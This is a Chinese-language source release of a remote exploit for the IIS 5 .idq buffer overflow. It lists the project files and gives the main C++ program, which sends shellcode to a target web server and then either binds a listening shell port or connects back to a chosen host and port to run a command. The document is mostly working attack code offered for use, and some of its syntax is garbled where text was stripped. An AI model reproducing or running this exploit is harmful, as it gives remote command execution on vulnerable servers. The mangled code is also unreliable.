文件结构:
cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
文件1:iisidqoverflow.cpp (主文件)
#include #include "snakesocket.h"#include "wsastart.h"#include "SkShellCodeFunc.h"//function predeclare.//取得 需要 地址 信息void GetNecesProcAddr( char *szInfo, int iMaxSize);//生成我的 shell code代码.int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);//宣示帮助.void ShowHelp(){int i;printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口");printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口");printf("其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe /c + dir"");printf("如果为1,那么,将输入新的命令.");printf("支持的操作系统 类型: ----");for( i=0; i 0){send( msocket, szBuff, iLen, 0);}return (iLen0)?true:false;}int main(int argc, char *argv[]){CWSAStart wsaStart;CSnakeSocket snakeSocket;WORD wPort;DWORD dwIP;if( argc1){if( stricmp( argv[1], "GetAddr") == 0){char szTemp[12048];GetNecesProcAddr(szTemp, sizeof(szTemp) );printf("%s",szTemp);OSVERSIONINFO osInfo;osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx( &osInfo);printf("Version: %d - %d. Build:%d. ID:%d[%s]",osInfo.dwMajorVersion, osInfo.dwMinorVersion,osInfo.dwBuildNumber, osInfo.dwPlatformId,osInfo.szCSDVersion);return 0;}}if( argcShowHelp();return 0;}wsaStart.StartUP();SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);if( SystemType= MAX_SYSTEM_TYPE_NUM){printf("操作系统类型 不正确.");ShowHelp();return 0;}dwIP = snakeSocket.GetHostAddr( argv[2]);if( dwIP == 0){printf("输入地址不对.");return 0;}Sk_ConnectType connectType;ConnectStruct connectStruct;char szCommand[129]="cmd.exe /c dir c:\";BOOL bInputCommand=false;connectType = (Sk_ConnectType)atoi(argv[4]);connectStruct.byConnectType = connectType;switch(connectType){case LISTEN_ON_PORT:connectStruct.wListenPort = atoi(argv[5]);if( argc= 7){bInputCommand = true;}break;case CONNECT_TO_HOST:if( argcprintf("参数不足够.");return 0;}connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);connectStruct.wConnectPort = atoi(argv[6]);if( argc= 8){bInputCommand = true;}break;default:printf("溢出类型不正确.");return 0;}if( bInputCommand){printf("请输入绑定的命令:");scanf( "%s",szCommand);}snakeSocket.CreateSocket();wPort = atoi(argv[3]);if( !snakeSocket.connect( argv[2], wPort)){printf("连接目的机器 %s:%d 失败.", argv[2], wPort);return 0;}elseprintf("连接目的机器 %s:%d OK.", argv[2], wPort);BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);if( bValue){printf( "发送shellcode 到 %s:%d OK", argv[2], wPort);printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);}else{printf( "发送失败, 对方系统类型不支持");}snakeSocket.CloseSocket();wsaStart.CleanUP();return 0;}